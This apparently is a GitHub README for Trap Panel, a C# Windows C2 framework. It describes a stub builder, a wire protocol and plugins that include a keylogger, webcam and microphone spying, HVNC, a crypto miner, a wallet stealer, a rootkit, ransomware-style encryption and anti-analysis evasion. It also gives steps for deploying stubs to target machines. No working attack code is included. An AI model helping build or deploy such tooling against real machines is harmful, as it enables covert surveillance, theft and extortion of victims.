Trapwithme/Trap-Panel

GitHub: Trapwithme/Trap-Panel

一个基于 .NET 8 的模块化 Windows C2 框架,提供 TLS 1.3 加密通信、18 个内置插件和 C#/PowerShell stub 部署能力,用于授权安全研究与红队演练。

Stars: 9 | Forks: 0

# Trap 面板 **一个模块化的 Windows 远程管理框架。** Trap Panel 是一个使用 C#(.NET 8, WPF)编写的 C2 框架,具有 TLS 1.3 加密的 TCP 通信、基于插件架构的实时双向控制,以及 C# 和 PowerShell stub 部署功能。它提供了从系统管理到安全研究的广泛功能。 ## 截图 ## 功能特性 - **TLS 1.3 加密传输** — 所有流量均通过 SslStream 保护,并使用 AES-256-GCM 进行 payload 加密 - **18 个内置插件** — shell、文件管理器、注册表、屏幕监控、键盘记录器、网络摄像头、麦克风、HVNC、SOCKS5 代理、加密货币挖矿机、钱包窃取器、僵尸网络清理器、持久化、系统信息、进程监控、rootkit、勒索软件样式倒计时、自动更新 - **C# + PowerShell stub 生成** — 通过 Roslyn 编译的 .NET 可执行文件或轻量级 PowerShell 脚本 - **基于插件的架构** — 模块化 IServerPlugin 接口,支持基于客户端的会话路由 - **实时推送模型** — 事件驱动的命令交付,排队后几毫秒内即可送达 - **Auto Tasks 引擎** — 在客户端连接时调度自动化的插件执行 - **8 种可自定义主题** — Dark、Light、Midnight、Hacker、Nord、Dracula、Solarized、Tokyo Night - **速率限制与反分析** — 连接节流、反调试、反虚拟机、进程保护 - **基于证书的服务器身份验证** — 自动生成 RSA 4096 位自签名证书 ## 内置插件 | 插件 | 描述 | |---|---| | **Shell** | 通过 cmd.exe 执行系统命令,支持异步流式 I/O | | **File Manager** | 浏览目录,上传/下载/删除/执行文件,从 URL 获取文件 | | **Registry** | 完整的 Windows 注册表编辑器 — 读取、写入、创建、删除键和值 | | **Screen Monitor** | 捕获屏幕截图并流式传输实时屏幕画面 | | **Process Monitor** | 列出正在运行的进程,按 PID 结束进程,启动新进程 | | **Keylogger** | 全局键盘钩子,捕获带有时间戳的击键记录 | | **Webcam** | 捕获网络摄像头图像并流式传输视频源 (AVICAP32 / WinRT) | | **Microphone** | 通过 NAudio 进行实时音频监控 (16kHz, 16-bit PCM) | | **HVNC** | 隐藏的虚拟网络计算 — 在隐藏的 Windows 桌面中进行桌面交互 | | **SOCKS5 Proxy** | 在客户端上运行的完整 SOCKS5 代理服务器 (CONNECT, 认证方法) | | **Crypto Miner** | 下载并执行 XMRig,可配置矿池、钱包和 CPU 亲和性 | | **Wallet Stealer** | 搜索并窃取 16 种以上的加密货币钱包文件 | | **Bot Killer** | 终止 200 多个竞争的 RAT/挖矿机/恶意软件进程 | | **Persistence** | 通过 Registry Run、Startup 文件夹、Scheduled Task、WMI 安装启动持久化 | | **System Info** | 收集全面的系统、硬件、网络、软件和服务信息 | | **Fun** | 交换鼠标按键、翻转屏幕、打开 CD 托盘、切换锁、消息框、壁纸 | | **Rootkit** | 通过 EasyHook 进行用户态 API 钩子 — 隐藏文件、进程、注册表键 | | **Countdown** | 使用 AES-256-CBC 进行文件加密,带有勒索软件样式的倒计时器 | | **Update** | 下载并替换客户端 payload 以进行自我更新 | ## Stub 构建器 在 Builder 标签页中配置并生成可随时部署的 stub。 | 选项 | 描述 | |---|---| | Server IP / Hostname | C2 服务器地址 | | Port | 用于客户端连接的 TCP 端口 | | Password | 身份验证密钥(至少 12 个字符) | | Encryption Key | 用于 PBKDF2 的 AES-256 密钥(可选 — TLS 保护传输层) | | Silent Mode | 在没有控制台或可见窗口的情况下运行 stub | | Install Name | 已安装 payload 的文件名 | | Install Directory | payload 安装的目标目录 | | Startup Method | Registry / Startup Folder / Scheduled Task | | Anti Debug | 启用调试器检测和规避 | | Killer | 启用对竞争进程的终止 | | Output | 独立的 .EXE (.NET 8) 或 .PS1 脚本 | ## 传输协议 ### 线路格式 | 偏移量 | 大小 | 字段 | |---|---|---| | 0 | 4 | Magic — `0xDEADBEEF` (big-endian) | | 4 | 4 | Payload 长度 (big-endian, 最大 100 MB) | | 8 | 1 | 消息类型 | | 9 | N | 加密的 Payload (AES-256-GCM) | ### 消息类型 | 字节 | 类型 | 方向 | |---|---|---| | 0x00 | KeepAlive | 双向 | | 0x01 | Handshake | 客户端 → 服务器 | | 0x02 | HandshakeResponse | 服务器 → 客户端 | | 0x03 | Auth | 客户端 → 服务器 | | 0x04 | AuthResponse | 服务器 → 客户端 | | 0x05 | Command | 双向 | | 0x06 | CommandResult | 双向 | | 0x07 | FileChunk | 双向 | | 0x08 | Error | 双向 | | 0x09 | Disconnect | 双向 | ### 握手流程 ``` Client Server │ │ │── TCP Connect ──────────────────────► │ │ │ │── Handshake (certificate) ───────────►│ │◄── HandshakeResponse (nonce) ──────── │ │ │ │── Auth (JSON: password) ─────────────►│ │◄── AuthResponse (success/failure) ──── │ │ │ │═══ Bidirectional message loop ═══════►│ ``` 身份验证 JSON 格式: ``` { "type": "auth", "password": "supersecret" } ``` ## 系统要求 | 组件 | 要求 | |---|---| | **Panel OS** | Windows 7 或更高版本 | | **Panel Runtime** | .NET 8 Runtime | | **Panel Dependencies** | NuGet: DiscordRichPresence, Microsoft.CodeAnalysis.CSharp 5.0, Newtonsoft.Json 13.0, System.Management 8.0 | | **Client OS** | Windows 7 或更高版本 | | **Client Runtime** | .NET Framework 4.8 或 .NET 8 | | **Client Privileges** | 普通用户或管理员(HVNC、rootkit 需要管理员权限) | | **Resolution** | 最低 1100 x 700 | | **Network** | 到 C2 服务器的出站 TCP 连接 | ## 构建说明 ``` git clone https://github.com/your-repo/TrapPanel cd TrapPanel dotnet build ``` 从 `bin\Debug\net8.0-windows7.0\LoaderKeyed.exe` 运行生成的可执行文件。 ## 使用说明 1. **启动** — 面板在首次运行时会自动生成 RSA 4096 位证书 2. **设置密码** — 导航到 Settings,设置服务器密码(至少 12 个字符) 3. **开始监听** — 点击“Start Listening”开始接受客户端连接 4. **配置构建器** — 在 Builder 标签页中输入服务器 IP、端口和密码 5. **生成 stub** — 点击“Generate PS1”或“Compile EXE” 6. **部署** — 在目标机器上运行生成的 stub 7. **管理** — 已连接的客户端将显示在 Clients 标签页中;右键单击以启动插件 ## 主题 | 主题 | 预览 | |---|---| | Dark | 深灰色背景,白色文本,蓝色强调 | | Light | 白色背景,黑色文本,蓝色强调 | | Midnight | 接近黑色的背景,青色强调 | | Hacker | 黑色背景,绿色的终端样式文本 | | Nord | 北极蓝调色板,青色和绿色强调 | | Dracula | 深紫色背景,粉色和绿色强调 | | Solarized | 深棕色背景,黄色和蓝色强调 | | Tokyo Night | 深蓝色背景,青色和粉色强调 | ## 安全性 | 措施 | 详情 | |---|---| | Transport | TLS 1.3 和 RSA 4096 位服务器证书 | | Payload | AES-256-GCM,带有随机的 96 位 nonce 和 128 位标签 | | Key derivation | PBKDF2,100,000 次迭代 (SHA-256) 和 16 字节盐值 | | Authentication | 密码通过 TLS 上的恒定时间比较进行验证 | | Rate limiting | 最多 100 个并发连接,每个 IP 最多 5 个 | | Auto-ban | 3 次身份验证失败后封禁 IP 1 小时 | | Anti-debug | 调试器检测、反虚拟机检查、沙箱规避 | | Protection | 通过 EasyHook 进行用户态 API 钩子(可选的 rootkit) | ## 许可证 本项目仅供教育和授权的安全研究目的使用。未经授权将此软件用于您不拥有或未获得明确书面测试许可的系统是违法的。作者对任何滥用行为不承担责任。
标签:AI合规, C2框架, HTTP工具, IP 地址批量处理, PE 加载器, 基础设施安全, 安全学习资源, 恶意软件, 远程管理